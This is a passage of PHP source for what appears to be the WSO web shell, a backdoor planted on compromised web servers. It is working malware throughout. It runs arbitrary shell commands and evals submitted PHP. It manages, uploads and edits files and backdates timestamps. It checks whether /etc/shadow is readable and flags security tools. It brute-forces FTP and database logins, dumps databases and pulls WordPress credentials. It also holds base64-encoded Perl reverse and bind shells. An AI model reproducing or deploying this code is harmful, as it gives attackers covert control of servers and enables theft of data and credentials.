";$freeSpace=@diskfreespace($GLOBALS['cwd']);$totalSpace=@disk_total_space($GLOBALS['cwd']);$totalSpace=$totalSpace ? $totalSpace:1;$release=@php_uname('r');$kernel=@php_uname('s');$explink='http://exploit-db.com/search/?action=search&filter_description=';if(strpos('Linux', $kernel)!== false)$explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else {$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$cwd_links='';$path=explode("/", $GLOBALS['cwd']);$n=count($path);for($i=0; $i < $n - 1; $i++){$cwd_links.= "
" . $path[$i] . "/";}$charsets=array('UTF-8','Windows-1251','cp866'
);$opt_charsets='';foreach($charsets as $item)$opt_charsets.= '
';$m=array('Sec. Info'=>'SecInfo','Files'=>'Bsx','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Wordpress'=>'WP','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'
);if(!empty($GLOBALS['auth_pass']))$m['Logout']='Logout';$m['Self remove']='SelfRemove';if(!$GLOBALS['wpconfig'])unset($m['Wordpress']);$menu='';foreach($m as $k=>$v)$menu.= '
[ ' . $k . ' ] | ';$drives="";if($GLOBALS['os']=='win'){foreach(range('c', 'z')as $drive)if(is_dir($drive . ':\\'))$drives.= '
[ ' . $drive . ' ] ';}echo '
Uname: User: Php: Hdd: Cwd:' .($GLOBALS['os']=='win' ? ' Drives:':''). ' | '.'' . substr(@php_uname(), 0, 120). ' [exploit-db.com] ' . $uid . '( ' . $user . ') Group: ' . $gid . '( ' . $group . ') ' . @phpversion(). ' Safe mode: ' .($GLOBALS['safe_mode'] ? 'ON':'OFF'). ' [ phpinfo ] Datetime: ' . date('Y-m-d H:i:s'). ' ' . _wss4($totalSpace). ' Free: ' . _wss4($freeSpace). '(' .(int)($freeSpace / $totalSpace * 100). '%) ' . $cwd_links . ' ' . _wss5($GLOBALS['cwd']). ' [ home ] ' . $drives . ' | '.' Server IP: ' . @$_SERVER['SERVER_ADDR'] . ' Client IP: ' . $_SERVER['REMOTE_ADDR'] . ' |
'.'
';}function _wss7(){$is_writable=is_writable($GLOBALS['cwd'])? " (Writeable)":" (Not writable)";echo "
";}if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS['disable_functions'], 'posix_getpwuid')=== false)){function posix_getpwuid($p){return false;}}if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS['disable_functions'], 'posix_getgrgid')=== false)){function posix_getgrgid($p){return false;}}function wsoEx($in){$out='';if(function_exists('exec')){@exec($in, $out);$out=@join("\n", $out);}elseif(function_exists('passthru')){ob_start();@passthru($in);$out=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($in);$out=ob_get_clean();}elseif(function_exists('shell_exec')){$out=shell_exec($in);}elseif(is_resource($f=@popen($in, "r"))){$out="";while(!@feof($f))$out.= fread($f, 1024);pclose($f);}return $out;}function _wss4($s){if($s >= 1073741824)return sprintf('%1.2f', $s / 1073741824). ' GB';elseif($s >= 1048576)return sprintf('%1.2f', $s / 1048576). ' MB';elseif($s >= 1024)return sprintf('%1.2f', $s / 1024). ' KB';else return $s . ' B';}function _wss8($p){if(($p & 0xC000)== 0xC000)$i='s';elseif(($p & 0xA000)== 0xA000)$i='l';elseif(($p & 0x8000)== 0x8000)$i='-';elseif(($p & 0x6000)== 0x6000)$i='b';elseif(($p & 0x4000)== 0x4000)$i='d';elseif(($p & 0x2000)== 0x2000)$i='c';elseif(($p & 0x1000)== 0x1000)$i='p';else $i='u';$i.=(($p & 0x0100)? 'r':'-');$i.=(($p & 0x0080)? 'w':'-');$i.=(($p & 0x0040)?(($p & 0x0800)? 's':'x'):(($p & 0x0800)? 'S':'-'));$i.=(($p & 0x0020)? 'r':'-');$i.=(($p & 0x0010)? 'w':'-');$i.=(($p & 0x0008)?(($p & 0x0400)? 's':'x'):(($p & 0x0400)? 'S':'-'));$i.=(($p & 0x0004)? 'r':'-');$i.=(($p & 0x0002)? 'w':'-');$i.=(($p & 0x0001)?(($p & 0x0200)? 't':'x'):(($p & 0x0200)? 'T':'-'));return $i;}function _wss5($f){if(!@is_readable($f))return '';function wsoSecParam($n, $v){$v=trim($v);if($v){echo '
' . $n . ': ';if(strpos($v, "\n")=== false)echo $v . '
';else echo '
' . $v . '
';}}wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));if(function_exists('apache_get_modules'))wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions']:'none');wsoSecParam('Open base dir', @ini_get('open_basedir'));wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));wsoSecParam('cURL support', function_exists('curl_version')? 'enabled':'no');$temp=array();if(function_exists('mysql_get_client_info'))$temp[]="MySql(" . mysql_get_client_info(). ")";if(function_exists('mssql_connect'))$temp[]="MSSQL";if(function_exists('pg_connect'))$temp[]="PostgreSQL";if(function_exists('oci_connect'))$temp[]="Oracle";wsoSecParam('Supported databases', implode(', ', $temp));echo '
';if($GLOBALS['os']=='nix'){wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')? "yes
[view]":'no');wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')? "yes
[view]":'no');wsoSecParam('OS version', @file_get_contents('/proc/version'));wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));if(!$GLOBALS['safe_mode']){$userful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'
);$danger=array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'
);$downloaders=array('wget','fetch','lynx','links','curl','get','lwp-mirror'
);echo '
';$temp=array();foreach($userful as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Userful', implode(', ', $temp));$temp=array();foreach($danger as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Danger', implode(', ', $temp));$temp=array();foreach($downloaders as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Downloaders', implode(', ', $temp));echo '
';wsoSecParam('HDD space', wsoEx('df -h'));wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));echo '
posix_getpwuid("Read" /etc/passwd)';if(isset($_POST['p2'], $_POST['p3'])&& is_numeric($_POST['p2'])&& is_numeric($_POST['p3'])){$temp="";for(; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++){$uid=@posix_getpwuid($_POST['p2']);if($uid)$temp.= join(':', $uid). "\n";}echo '
';wsoSecParam('Users', $temp);}}}else {wsoSecParam('OS Version', wsoEx('ver'));wsoSecParam('Account Settings', wsoEx('net accounts'));wsoSecParam('User Accounts', wsoEx('net user'));}echo '
';_wss7();}function actionPhp(){if(isset($_POST['ajax'])){_wss($GLOBALS['shp'] . 'ajax', true);ob_start();eval($_POST['p1']);$temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0"). "';\n";echo strlen($temp), "\n", $temp;exit;}if(empty($_POST['ajax'])&& !empty($_POST['p1']))_wss($GLOBALS['shp'] . 'ajax', 0);_wss3();if(isset($_POST['p2'])&&($_POST['p2']=='info')){echo '';ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace(array('!(body|a:\w+|body, td, th, h1, h2){.*}!msiU','!td, th {(.*)}!msiU','!
![]()
]+>!msiU',), array('','.e, .v, .h, .h th {$1}',''
), $tmp);echo str_replace('
';}echo 'Execution PHP-code
';if(!empty($_POST['p1'])){ob_start();eval($_POST['p1']);echo htmlspecialchars(ob_get_clean());}echo ' ';_wss7();}function actionBsx(){if(!empty($_COOKIE['f']))$_COOKIE['f']=@unserialize($_COOKIE['f']);if(!empty($_POST['p1'])){switch($_POST['p1']){case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))echo "Can't upload file!";break;case 'mkdir':
if(!@mkdir($_POST['p2']))echo "Can't create new dir";break;case 'delete':
function deleteDir($path){$path=(substr($path, -1)== '/')? $path:$path . '/';$dh=opendir($path);while(($item=readdir($dh))!== false){$item=$path . $item;if((basename($item)== "..")||(basename($item)== ".")||(realpath($item)== $GLOBALS['_se']))continue;$type=filetype($item);if($type=="dir")deleteDir($item);else @unlink($item);}closedir($dh);@rmdir($path);}if(is_array(@$_POST['f']))foreach($_POST['f'] as $f){$f=urldecode($f);if(($f=='..')||($f=='.')||(realpath($f)== $GLOBALS['_se']))continue;if(is_dir($f))deleteDir($f);else @unlink($f);}break;case 'paste':
if($_COOKIE['act']=='copy'){function copy_paste($c, $s, $d){if(is_dir($c . $s)){mkdir($d . $s);$h=@opendir($c . $s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c . $s . '/', $f, $d . $s . '/');}elseif(is_file($c . $s))@copy($c . $s, $d . $s);}foreach($_COOKIE['f'] as $f)copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);}elseif($_COOKIE['act']=='move'){function move_paste($c, $s, $d){if(is_dir($c . $s)){mkdir($d . $s);$h=@opendir($c . $s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c . $s . '/', $f, $d . $s . '/');}elseif(@is_file($c . $s))@copy($c . $s, $d . $s);}foreach($_COOKIE['f'] as $f)@rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);}elseif($_COOKIE['act']=='zip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();if($zip->open($_POST['p2'], 1)){chdir($_COOKIE['c']);foreach($_COOKIE['f'] as $f){if($f=='..')continue;if(@is_file($_COOKIE['c'] . $f))$zip->addFile($_COOKIE['c'] . $f, $f);elseif(@is_dir($_COOKIE['c'] . $f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/'));foreach($iterator as $key=>$value){$zip->addFile(realpath($key), $key);}}}chdir($GLOBALS['cwd']);$zip->close();}}}elseif($_COOKIE['act']=='unzip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();foreach($_COOKIE['f'] as $f){if($zip->open($_COOKIE['c'] . $f)){$zip->extractTo($GLOBALS['cwd']);$zip->close();}}}}elseif($_COOKIE['act']=='tar'){chdir($_COOKIE['c']);$_COOKIE['f']=array_map('escapeshellarg', $_COOKIE['f']);wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']). ' ' . implode(' ', $_COOKIE['f']));chdir($GLOBALS['cwd']);}unset($_COOKIE['f']);setcookie('f', '', time()- 3600);break;default:
if(!empty($_POST['p1'])){_wss('act', $_POST['p1']);_wss('f', serialize(@$_POST['f']));_wss('c', @$_POST['c']);}break;}}_wss3();echo 'File manager
';$dirContent=wsoScandir(isset($_POST['c'])? $_POST['c']:$GLOBALS['cwd']);if($dirContent === false){echo 'Can\'t open this folder!';_wss7();return;}global $sort;$sort=array('name',1
);if(!empty($_POST['p1'])){if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))$sort=array($match[1],(int)$match[2]
);}echo "
";_wss7();}function actionStringTools(){if(!function_exists('hex2bin')){function hex2bin($p){return decbin(hexdec($p));}}if(!function_exists('binhex')){function binhex($p){return dechex(bindec($p));}}if(!function_exists('hex2ascii')){function hex2ascii($p){$r='';for($i=0; $i < strLen($p); $i+= 2){$r.= chr(hexdec($p[$i] . $p[$i + 1]));}return $r;}}if(!function_exists('ascii2hex')){function ascii2hex($p){$r='';for($i=0; $i < strlen($p); ++$i)$r.= sprintf('%02X', ord($p[$i]));return strtoupper($r);}}if(!function_exists('full_urlencode')){function full_urlencode($p){$r='';for($i=0; $i < strlen($p); ++$i)$r.= '%' . dechex(ord($p[$i]));return strtoupper($r);}}$stringTools=array('String to Octal'=>'pk','Base64 encode'=>'base64_encode','Base64 decode'=>'base64_decode','Url encode'=>'urlencode','Url decode'=>'urldecode','Full urlencode'=>'full_urlencode','md5 hash'=>'md5','sha1 hash'=>'sha1','crypt'=>'crypt','CRC32'=>'crc32','ASCII to HEX'=>'ascii2hex','HEX to ASCII'=>'hex2ascii','HEX to DEC'=>'hexdec','HEX to BIN'=>'hex2bin','DEC to HEX'=>'dechex','DEC to BIN'=>'decbin','BIN to HEX'=>'binhex','BIN to DEC'=>'bindec','String to lower case'=>'strtolower','String to upper case'=>'strtoupper','Htmlspecialchars'=>'htmlspecialchars','String length'=>'strlen',);if(isset($_POST['ajax'])){_wss($GLOBALS['shp'] . 'ajax', true);ob_start();if(in_array($_POST['p1'], $stringTools))echo $_POST['p1']($_POST['p2']);$temp="document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0"). "';\n";echo strlen($temp), "\n", $temp;exit;}if(empty($_POST['ajax'])&& !empty($_POST['p1']))_wss($GLOBALS['shp'] . 'ajax', 0);_wss3();echo 'String conversions
Search files:
";function wsoRecursiveGlob($path){if(substr($path, -1)!= '/')$path.= '/';$paths=@array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));if(is_array($paths)&& @count($paths)){foreach($paths as $item){if(@is_dir($item)){if($path != $item)wsoRecursiveGlob($item);}else {if(empty($_POST['p2'])|| @strpos(file_get_contents($item), $_POST['p2'])!== false)echo "
" . htmlspecialchars($item). "";}}}}if(@$_POST['p3'])wsoRecursiveGlob($_POST['c']);echo "
Search for hash:
";_wss7();}function actionFilesTools(){if(isset($_POST['p1']))$_POST['p1']=urldecode($_POST['p1']);if(@$_POST['p2']=='download'){if(@is_file($_POST['p1'])&& @is_readable($_POST['p1'])){ob_start("ob_gzhandler", 4096);header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST['p1']);header("Content-Type: " . $type);}else header("Content-Type: application/octet-stream");$fp=@fopen($_POST['p1'], "r");if($fp){while(!@feof($fp))echo @fread($fp, 1024);fclose($fp);}}exit;}if(@$_POST['p2']=='mkfile'){if(!file_exists($_POST['p1'])){$fp=@fopen($_POST['p1'], 'w');if($fp){$_POST['p2']="edit";fclose($fp);}}}_wss3();echo 'File tools
';if(!file_exists(@$_POST['p1'])){echo 'File not exists';_wss7();return;}$uid=@posix_getpwuid(@fileowner($_POST['p1']));if(!$uid){$uid['name']=@fileowner($_POST['p1']);$gid['name']=@filegroup($_POST['p1']);}else $gid=@posix_getgrgid(@filegroup($_POST['p1']));echo '
Name: ' . htmlspecialchars(@basename($_POST['p1'])). '
Size: ' .(is_file($_POST['p1'])? _wss4(filesize($_POST['p1'])): '-'). '
Permission: ' . _wss5($_POST['p1']). '
Owner/Group: ' . $uid['name'] . '/' . $gid['name'] . '
';echo '
Create time: ' . date('Y-m-d H:i:s', filectime($_POST['p1'])). '
Access time: ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])). '
Modify time: ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])). '
';if(empty($_POST['p2']))$_POST['p2']='view';if(is_file($_POST['p1']))$m=array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch'
);else $m=array('Chmod','Rename','Touch'
);foreach($m as $v)echo '
' .((strtolower($v)== @$_POST['p2'])? '[ ' . $v . ' ]':$v). ' ';echo '
';switch($_POST['p2']){case 'view':
echo '
';$fp=@fopen($_POST['p1'], 'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp, 1024));@fclose($fp);}echo '';break;case 'highlight':
if(@is_readable($_POST['p1'])){echo '
';$code=@highlight_file($_POST['p1'], true);echo str_replace(array(''
), array(''
), $code). '
';}break;case 'chmod':
if(!empty($_POST['p3'])){$perms=0;for($i=strlen($_POST['p3'])- 1; $i >= 0; --$i)$perms+=(int)$_POST['p3'][$i] * pow(8,(strlen($_POST['p3'])- $i - 1));if(!@chmod($_POST['p1'], $perms))echo 'Can\'t set permissions!
';}clearstatcache();echo '
';break;case 'edit':
if(!is_writable($_POST['p1'])){echo 'File isn\'t writeable';break;}if(!empty($_POST['p3'])){$time=@filemtime($_POST['p1']);$_POST['p3']=substr($_POST['p3'], 1);$fp=@fopen($_POST['p1'], "w");if($fp){@fwrite($fp, $_POST['p3']);@fclose($fp);echo 'Saved!
';@touch($_POST['p1'], $time, $time);}}echo '
';break;case 'hexdump':
$c=@file_get_contents($_POST['p1']);$n=0;$h=array('00000000
','',''
);$len=strlen($c);for($i=0; $i < $len; ++$i){$h[1].= sprintf('%02X', ord($c[$i])). ' ';switch(ord($c[$i])){case 0:
$h[2].= ' ';break;case 9:
$h[2].= ' ';break;case 10:
$h[2].= ' ';break;case 13:
$h[2].= ' ';break;default:
$h[2].= $c[$i];break;}$n++;if($n==32){$n=0;if($i + 1 < $len){$h[0].= sprintf('%08X', $i + 1). '
';}$h[1].= '
';$h[2].= "\n";}}echo '
' . $h[0] . ' | ' . $h[1] . ' | ' . htmlspecialchars($h[2]). ' |
';break;case 'rename':
if(!empty($_POST['p3'])){if(!@rename($_POST['p1'], $_POST['p3']))echo 'Can\'t rename!
';else die('');}echo '
';break;case 'touch':
if(!empty($_POST['p3'])){$time=strtotime($_POST['p3']);if($time){if(!touch($_POST['p1'], $time, $time))echo 'Fail!';else echo 'Touched!';}else echo 'Bad time format!';}clearstatcache();echo '
';break;}echo '
';_wss7();}function actionConsole(){if(!empty($_POST['p1'])&& !empty($_POST['p2'])){_wss($GLOBALS['shp'] . 'stderr_to_out', true);$_POST['p1'].= ' 2>&1';}elseif(!empty($_POST['p1']))_wss($GLOBALS['shp'] . 'stderr_to_out', 0);if(isset($_POST['ajax'])){_wss($GLOBALS['shp'] . 'ajax', true);ob_start();echo "d.cf.cmd.value='';\n";$temp=@iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']), "\n\r\t\\'\0"));if(preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)){if(@chdir($match[1])){$GLOBALS['cwd']=@getcwd();echo "c_='" . $GLOBALS['cwd'] . "';";}}echo "d.cf.output.value+='" . $temp . "';";echo "d.cf.output.scrollTop=d.cf.output.scrollHeight;";$temp=ob_get_clean();echo strlen($temp), "\n", $temp;exit;}if(empty($_POST['ajax'])&& !empty($_POST['p1']))_wss($GLOBALS['shp'] . 'ajax', 0);_wss3();echo "";echo 'Console
';_wss7();}function actionLogout(){global $shp;_wss($shp, '');die('bye!');}function actionSelfRemove(){if($_POST['p1']=='yes')if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))die('Shell has been removed');else echo 'unlink error!';if($_POST['p1'] != 'yes')_wss3();echo 'Suicide
Really want to remove the shell?
Yes ';_wss7();}function actionBruteforce(){_wss3();if(isset($_POST['proto'])){echo 'Results
Type: ' . htmlspecialchars($_POST['proto']). ' Server: ' . htmlspecialchars($_POST['server']). '
';if($_POST['proto']=='ftp'){function wsoBruteForce($ip, $port, $login, $pass){$fp=@ftp_connect($ip, $port ? $port:21);if(!$fp)return false;$res=@ftp_login($fp, $login, $pass);@ftp_close($fp);return $res;}}elseif($_POST['proto']=='mysql'){function wsoBruteForce($ip, $port, $login, $pass){$res=@mysql_connect($ip . ':' . $port ? $port:3306, $login, $pass);@mysql_close($res);return $res;}}elseif($_POST['proto']=='pgsql'){function wsoBruteForce($ip, $port, $login, $pass){$str="host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";$res=@pg_connect($str);@pg_close($res);return $res;}}$success=0;$attempts=0;$server=explode(":", $_POST['server']);if($_POST['type']==1){$temp=@file('/etc/passwd');if(is_array($temp))foreach($temp as $line){$line=explode(":", $line);++$attempts;if(wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])){$success++;echo '' . htmlspecialchars($line[0]). ':' . htmlspecialchars($line[0]). '
';}if(@$_POST['reverse']){$tmp="";for($i=strlen($line[0])- 1; $i >= 0; --$i)$tmp.= $line[0][$i];++$attempts;if(wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)){$success++;echo '' . htmlspecialchars($line[0]). ':' . htmlspecialchars($tmp);}}}}elseif($_POST['type']==2){$temp=@file($_POST['dict']);if(is_array($temp))foreach($temp as $line){$line=trim($line);++$attempts;if(wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)){$success++;echo '' . htmlspecialchars($_POST['login']). ':' . htmlspecialchars($line). '
';}}}echo "Attempts: $attempts Success: $success
";}echo 'Bruteforce
';_wss7();}function actionSql(){class DbClass
{var $type;var $link;var $res;function DbClass($type){$this->type=$type;}function connect($host, $user, $pass, $dbname){switch($this->type){case 'mysql':
if($this->link=@mysql_connect($host, $user, $pass, true))return true;break;case 'pgsql':
$host=explode(':', $host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))return true;break;}return false;}function selectdb($db){switch($this->type){case 'mysql':
if(@mysql_select_db($db))return true;break;}return false;}function query($str){switch($this->type){case 'mysql':
return $this->res=@mysql_query($str);break;case 'pgsql':
return $this->res=@pg_query($this->link, $str);break;}return false;}function fetch(){$res=func_num_args()? func_get_arg(0): $this->res;switch($this->type){case 'mysql':
return @mysql_fetch_assoc($res);break;case 'pgsql':
return @pg_fetch_assoc($res);break;}return false;}function listDbs(){switch($this->type){case 'mysql':
return $this->query("SHOW databases");break;case 'pgsql':
return $this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");break;}return false;}function listTables(){switch($this->type){case 'mysql':
return $this->res=$this->query('SHOW TABLES');break;case 'pgsql':
return $this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");break;}return false;}function error(){switch($this->type){case 'mysql':
return @mysql_error();break;case 'pgsql':
return @pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case 'mysql':
if(function_exists('mysql_set_charset'))return @mysql_set_charset($str, $this->link);else $this->query('SET CHARSET ' . $str);break;case 'pgsql':
return @pg_set_client_encoding($this->link, $str);break;}return false;}function loadFile($str){switch($this->type){case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str). "')as file"));break;case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str). "';select file from wso2;");$r=array();while($i=$this->fetch())$r[]=$i['file'];$this->query('drop table wso2');return array('file'=>implode("\n", $r));break;}return false;}function dump($table, $fp=false){switch($this->type){case 'mysql':
$res=$this->query('SHOW CREATE TABLE `' . $table . '`');$create=mysql_fetch_array($res);$sql=$create[1] . ";\n";if($fp)fwrite($fp, $sql);else echo($sql);$this->query('SELECT * FROM `' . $table . '`');$i=0;$head=true;while($item=$this->fetch()){$sql='';if($i % 1000==0){$head=true;$sql=";\n\n";}$columns=array();foreach($item as $k=>$v){if($v === null)$item[$k]="NULL";elseif(is_int($v))$item[$k]=$v;else $item[$k]="'" . @mysql_real_escape_string($v). "'";$columns[]="`" . $k . "`";}if($head){$sql.= 'INSERT INTO `' . $table . '`(' . implode(", ", $columns). ")VALUES \n\t(" . implode(", ", $item). ')';$head=false;}else $sql.= "\n\t,(" . implode(", ", $item). ')';if($fp)fwrite($fp, $sql);else echo($sql);$i++;}if(!$head)if($fp)fwrite($fp, ";\n\n");else echo(";\n\n");break;case 'pgsql':
$this->query('SELECT * FROM ' . $table);while($item=$this->fetch()){$columns=array();foreach($item as $k=>$v){$item[$k]="'" . addslashes($v). "'";$columns[]=$k;}$sql='INSERT INTO ' . $table . '(' . implode(", ", $columns). ')VALUES(' . implode(", ", $item). ');' . "\n";if($fp)fwrite($fp, $sql);else echo($sql);}break;}return false;}};$db=new DbClass($_POST['type']);if(@$_POST['p2']=='download'){$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);$db->selectdb($_POST['sql_base']);switch($_POST['charset']){case "Windows-1251":
$db->setCharset('cp1251');break;case "UTF-8":
$db->setCharset('utf8');break;case "KOI8-R":
$db->setCharset('koi8r');break;case "KOI8-U":
$db->setCharset('koi8u');break;case "cp866":
$db->setCharset('cp866');break;}if(empty($_POST['file'])){ob_start("ob_gzhandler", 4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: text/plain");foreach($_POST['tbl'] as $v)$db->dump($v);exit;}elseif($fp=@fopen($_POST['file'], 'w')){foreach($_POST['tbl'] as $v)$db->dump($v, $fp);fclose($fp);unset($_POST['p2']);}else die('');}_wss3();echo "
Sql browser
';_wss7();}function actionNetwork(){_wss3();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";echo "Network tools
';_wss7();}function actionWP(){global $wpdb, $DB_HOST, $DB_USER, $DB_PASSWORD, $DB_NAME,$DB_PREFIX, $wpconfig, $wpdir, $plugdir;_wss3();if(!$wpconfig){echo "Wordpress not found"; return;}$co=file_get_contents($wpconfig);if(preg_match_all('!define\s*\(\s*\'*([A-Za-z_]+)\'*\s*,\s*[\'"](.+?)[\'"]\s*\);!', $co, $r, PREG_SET_ORDER)){foreach($r as $k)$wpp[$k[1]]=$k[2];}if(preg_match('!\$table_prefix\s*=\s*[\'"](.+?)[\'"]\s*;!', $co, $r)){$wpp['DB_PREFIX']=$r[1];}extract($wpp);list($DB_HOST,$DB_PORT)= split(':', $DB_HOST); if(!$DB_PORT)$DB_PORT=3306;$wpdb=new mysqli($DB_HOST, $DB_USER, $DB_PASSWORD, $DB_NAME, $DB_PORT);function getone($q){global $wpdb;if($res=$wpdb->query($q)){$a=$res->fetch_array(MYSQLI_NUM);$res->free();return $a[0];}}$wpdir=str_replace("\\", "/", pathinfo($wpconfig, PATHINFO_DIRNAME));$plugdir="$wpdir/wp-content/plugins";$verbuf=file_get_contents("$wpdir/wp-includes/version.php");if($verbuf && preg_match('!\$wp_version\s*=\s*\'(.+?)\';!msi', $verbuf, $o)){$wp_version=$o[1];}$pluginz=array();if($plugd=@opendir($plugdir)){while(($file=readdir($plugd))!==false){if($file[0]=='.')continue;if(is_dir("$plugdir/$file")){if($psd=@opendir("$plugdir/$file")){while(($subfile=readdir($psd))!==false){if($subfile[0]!= '.' && substr($subfile, -4)=='.php')$pluginz[]="$file/$subfile";}closedir($psd);}}else{if(substr($file, -4)== '.php')$pluginz[]=$file;}}closedir($plugd);}foreach($pluginz as $pz){if(!is_readable($pf="$plugdir/$pz"))continue;if(preg_match('!/\*(.+?)\*/!msi',file_get_contents($pf),$o)){if(preg_match_all('!^\W*?([\w\s]+?):\s+(.+?)$!msi',$o[1],$t,PREG_SET_ORDER)){foreach($t as $y){if(($pm=trim(strtolower($y[1])))=='plugin name' && 